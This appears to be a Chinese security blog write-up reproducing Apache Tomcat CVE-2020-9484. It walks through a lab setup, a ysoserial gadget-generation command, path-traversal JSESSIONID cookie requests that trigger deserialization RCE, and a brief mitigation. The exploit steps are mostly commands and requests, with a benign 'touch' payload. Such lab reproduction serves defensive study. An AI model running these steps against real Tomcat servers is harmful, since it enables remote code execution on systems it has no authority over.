0X1 漏洞概述
2020年05月21日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484,官方对该漏洞评级:高危。
Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。
当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。
建议广大用户及时安装最新补丁,做好资产自查/自检/预防工作,以免遭受黑客攻击。
影响版本
0X2 漏洞复现
关于漏洞详情,很多文章已经进行分析了,这里不做详细概述,可参考文章最下面文章链接。
漏洞环境可以在本地搭建复现或者使用docker环境。使用本地复现的话去官网下载漏洞版本链接
http://archive.apache.org/dist/tomcat/
配置tomcat的conf/context.xml文件:
<Context>
...
<Manager className="org.apache.catalina.session.PersistentManager"
debug="0"
saveOnRestart="false"
maxActiveSession="-1"
minIdleSwap="-1"
maxIdleSwap="-1"
maxIdleBackup="-1">
<Store className="org.apache.catalina.session.FileStore" directory="./session" />
</Manager>
</Context>
部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例poc.war)到tomcat:
dependencies {
compile 'org.apache.commons:commons-collections4:4.0'
}
使用github上的ysoserial工具->https://github.com/frohoff/ysoserial,生成commons-collections4依赖的gadget恶意序列化数据:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/tomcat-bug" > /tmp/22222.session
这个启用了session持久化功能FileStore是持久化的漏洞,还可以通过配置conf/server.xml文件,不过是利用session集群同步进行利用,参考:
https://github.com/threedr3am/tomcat-cluster-session-sync-exp
如果使用docker搭建的话利用下面仓库
https://github.com/masahiro331/CVE-2020-9484
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ docker run -d -p 8080:8080 tomcat:groovy
进行搭建即可。
0X3 漏洞利用
发起恶意请求,访问payload数据,在请求中访问session值
GET /bug/api HTTP/1.1
Host: ip:port
Cookie: JSESSIONID=../../../../../../../../../../../../tmp/22222
通过使用docker搭建的环境利用
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
进入容器检查/tmp/rce进行验证:
漏洞存在。
0X4 漏洞加固
禁止使用Session持久化功能FileStore。
参考链接:
https://github.com/masahiro331/CVE-2020-9484
https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg
https://github.com/threedr3am/tomcat-cluster-session-sync-exp